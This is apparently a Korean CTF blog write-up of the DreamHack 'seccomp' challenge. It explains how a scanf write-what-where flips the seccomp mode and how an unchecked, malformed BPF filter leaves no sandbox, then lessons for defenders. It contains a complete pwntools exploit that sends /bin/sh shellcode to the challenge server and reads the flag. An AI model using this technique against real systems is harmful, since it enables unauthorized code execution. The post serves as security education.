[🥈 Silver 3] BPF 필터가 조용히 실패하면 seccomp는 그냥 없는 셈이다 — DreamHack seccomp 풀이 — ZINO
2026-07-20·1분 읽기·
[🥈 Silver 3] BPF 필터가 조용히 실패하면 seccomp는 그냥 없는 셈이다 — DreamHack seccomp 풀이
scanf("%ld", addr)가 &value 대신 addr 자체를 받는 write-what-where로 전역 seccomp 모드를 STRICT에서 FILTER로 바꿔치기한다. 컴파일된 BPF 필터 배열은 마지막 명령이 BPF_RET이 아니라서 커널 검증에서 -EINVAL로 튕기는데, 그 실패를 코드가 확인하지 않아 seccomp가 통째로 무효화된다.
SECCOMP_MODE_STRICT (1): args를 아예 쳐다보지 않는다. 커널이 무조건 read/write/_exit/rt_sigreturn 네 개만 허용한다. 세 번째 인자를 뭘 넘기든 무시된다.
SECCOMP_MODE_FILTER (2): args를 BPF 바이트코드 프로그램(struct sock_fprog)으로 해석해 syscall마다 실행한다. 이 모드에서만 struct sock_filter 배열이 의미를 가진다.
이 문제의 전역 변수 mode는 SECCOMP_MODE_STRICT로 초기화돼 있다. 즉 소스에 정성껏 작성된 BPF 필터 배열은 원래대로라면 한 번도 실행되지 않는 죽은 코드다. STRICT 모드가 걸리면 그걸로 게임 끝 — read/write/exit 말고는 아무것도 못 하니 셸코드로 할 수 있는 게 없다.
문제는 이 mode가 그냥 .data 섹션에 놓인 평범한 전역 int라는 점이다.
🔬 코드 정찰
main()의 메뉴 3번(case 3)을 보면 이상한 점이 하나 있다.
case 3: printf("addr: "); scanf("%ld", &addr); printf("value: "); scanf("%ld", addr); // &value가 아니라 addr 그 자체 break;
long value;라는 변수가 선언은 돼 있는데 어디에도 쓰이지 않는다. 두 번째 scanf가 받아야 할 건 &value인데 실제로는 addr가 그대로 들어간다. scanf("%ld", ptr)는 ptr가 가리키는 위치에 파싱한 값을 쓰니, 결과적으로 "주소 하나 + 값 하나"만 입력하면 그 주소에 그 값을 그대로 쓸 수 있는 write-what-where가 된다. bounds 체크도 없고 몇 번이든 반복 가능하다.
objdump로 확인해도 그대로다. 첫 번째 scanf는 lea rax,[rbp-0x20]로 &addr를 넘기는 정상적인 호출이고, 두 번째 scanf는 mov rax, QWORD PTR [rbp-0x20]로 addr에 저장된 값을 그대로 rsi(2번째 인자)에 넣는다.
case 3 디스어셈블리 — 두 번째 scanf가 &value 대신 addr 값을 그대로 씀
RELRO가 Partial이라 .data의 일부만 read-only로 굳고, 그 뒤에 오는 변수들은 여전히 쓰기 가능하다. mode가 정확히 그 자리에 있다.
GNU_RELRO 범위(0x601e10~0x602000) 밖에 있는 mode(0x602090)
mode는 RELRO가 끝나는 지점보다 0x90바이트 뒤에 있다. readelf와 nm으로 정적으로 확인한 그대로, 런타임에도 쓰기가 막힐 이유가 없다.
case 3으로 addr=0x602090, value=2를 넣으면 mode가 SECCOMP_MODE_STRICT(1)에서 SECCOMP_MODE_FILTER(2)로 바뀐다. 여기까지는 "이제 BPF 필터가 실제로 걸리겠구나"라는 정도의 이야기다. 진짜 취약점은 그 다음이다.
네 번째 명령까지만 있고 끝이다. arch를 검사하고, 안 맞으면 KILL, 맞으면 syscall_nr를 로드한 다음… 그걸로 끝. syscall 번호로 뭘 어떻게 하겠다는 BPF_JUMP도, 최종 BPF_RET도 없다. 커널의 bpf_check_classic()은 클래식 BPF 프로그램의 모든 경로가 BPF_RET으로 끝나야 한다고 강제하는데, 이 배열은 그 조건을 어긴다.
mode가 원래 값(STRICT)이면 이 배열은 애초에 커널로 넘어가지도 않으니 문제가 되지 않는다. 하지만 mode를 FILTER로 바꿔놓은 상태에서 case 1을 고르면 얘기가 달라진다. syscall_filter()가 이번엔 진짜로 prctl(PR_SET_SECCOMP, 2, &prog)를 호출하고, 커널은 이 필터를 검증하다가 -EINVAL로 거부한다.
0x400a1d에서 전역 mode를 매번 새로 읽어오고(case 3으로 우리가 덮은 값이 그대로 반영된다), 0x400a33에서 prctl을 호출한 뒤 0x400a38에서 리턴값을 0xffffffff와 비교한다. 실패하면 perror("Seccomp filter error")를 찍고 -1을 리턴한다 — 딱 거기까지다. main()의 case 1은 이 리턴값을 아예 받지 않는다.
정적으로 읽은 오프셋과 값이 실행 중에도 그대로 맞아떨어진다. mode는 우리가 쓴 대로 2이고, prctl은 정확히 -1을 반환하며 "Seccomp filter error: Invalid argument"를 찍은 뒤에도 shellcode: 프롬프트까지 그대로 이어진다.
🎯 익스플로잇 설계
이제 필요한 건 셸코드뿐이다. seccomp가 걸리지 않았으니 제약이 없다 — execve("/bin/sh", 0, 0)이면 충분하다.
case 3으로 addr=0x602090(mode), value=2 전송
case 1으로 shellcraft.sh() 셸코드를 mmap 영역에 기록 (이 시점에 syscall_filter()가 실패하지만 무시됨)
case 2로 그 셸코드 실행 → /bin/sh 획득 → cat flag*
로컬에서 먼저 검증했다. 대상 바이너리는 서버와 동일 파일이라 로컬에서 통과하면 원격에서도 그대로 통한다.
seccomp가 살아있었다면 execve syscall 자체가 막혀서 아무 셸도 뜨지 않았을 자리다. id 출력이 그대로 찍힌다는 게 곧 "이 프로세스엔 지금 아무 syscall 필터도 없다"는 증거다.
전체 흐름을 다이어그램으로 정리하면 다음과 같다.
write-what-where부터 셸코드 실행까지 exploit 흐름도
🚀 Full Exploit
#!/usr/bin/env python3import refrom pwn import *context.arch = 'amd64'context.log_level = 'info'HOST = 'host3.dreamhack.games'PORT = 23873MODE_ADDR = 0x602090 # global `mode` (SECCOMP_MODE_STRICT=1), outside GNU_RELRO -> writableFILTER_MODE = 2 # SECCOMP_MODE_FILTER; the compiled BPF prog is missing a trailing # BPF_RET, so bpf_check_classic() rejects it with -EINVAL and # syscall_filter()'s failure is never checked by the caller.def exploit(): io = remote(HOST, PORT) # 1) arbitrary write: case 3 does scanf("%ld", addr) instead of scanf("%ld", &value), # so the parsed long is written straight to address `addr`. io.sendlineafter(b'> ', b'3') io.sendlineafter(b'addr: ', str(MODE_ADDR).encode()) io.sendlineafter(b'value: ', str(FILTER_MODE).encode()) # 2) case 1 now calls syscall_filter() with mode=2; the malformed BPF filter fails to # install, prctl() returns -1, syscall_filter() returns -1, and main() ignores it. # No seccomp policy ends up active at all. sc = asm(shellcraft.sh()) io.sendlineafter(b'> ', b'1') io.sendafter(b'shellcode: ', sc) # 3) case 2 executes the shellcode with unrestricted syscalls. io.sendlineafter(b'> ', b'2') io.sendline(b'cat flag*') io.sendline(b'echo ---END---') data = io.recvuntil(b'---END---', timeout=10).decode(errors='replace') flag = re.search(r'DH\{[^}]+\}', data).group(0) print(f'FLAG: {flag}') io.close()if __name__ == '__main__': exploit()
원격 실행 — solve.py가 flag를 직접 뽑아 출력
host3.dreamhack.games:23873에 붙은 실제 서버에서 받은 값이다. 로컬에서 id로 확인했던 것과 같은 경로로, 이번엔 cat flag*를 흘려보내 플래그를 바로 회수했다.
📝 결론
syscall 필터를 걸었다는 착각이 제일 위험하다.
이 바이너리는 겉으로 보면 seccomp로 무장한 것처럼 보인다. BPF 배열도 있고, PR_SET_NO_NEW_PRIVS도 설정하고, prctl 실패 시 perror까지 찍는다. 그런데 정작 그 실패를 프로그램 흐름에 반영하지 않으니 방어 코드가 있으나 마나다. 보안 장치는 "설치를 시도했다"가 아니라 "설치에 성공했는지 확인했다"까지 가야 의미가 있다.
BPF 필터는 마지막이 항상 BPF_RET이어야 한다.
직접 sock_filter 배열을 짜는 대신 libseccomp 같은 라이브러리를 쓰면 이런 실수가 컴파일 타임/라이브러리 레벨에서 걸러진다. 로우레벨 BPF를 손으로 짤 때는 모든 분기가 반드시 RET으로 끝나는지 직접 검증해야 한다.
scanf에 포인터 대신 값이 들어가는 실수는 쓰기 프리미티브 그 자체다.
scanf("%ld", addr)와 scanf("%ld", &value)는 딱 앰퍼샌드 하나 차이지만 결과는 "지정 주소에 아무 값이나 쓰기"와 "로컬 변수에 값 저장"만큼 다르다. 포맷 문자열 인자를 리뷰할 때는 각 인자가 진짜 포인터인지, 아니면 사용자가 통제하는 정수가 포인터 자리에 그대로 들어간 건지부터 봐야 한다.
정책을 담는 전역 변수는 RELRO로 보호해야 한다.
mode처럼 프로그램의 보안 정책을 결정하는 값이 일반 쓰기 가능 .data에 놓여 있으면, 임의 쓰기 프리미티브 하나로 정책 자체가 뒤집힌다. Full RELRO에 const로 선언했다면 이 write-what-where가 있어도 mode는 바꿀 수 없었을 것이다.
Comments
댓글
댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)
댓글 불러오는 중…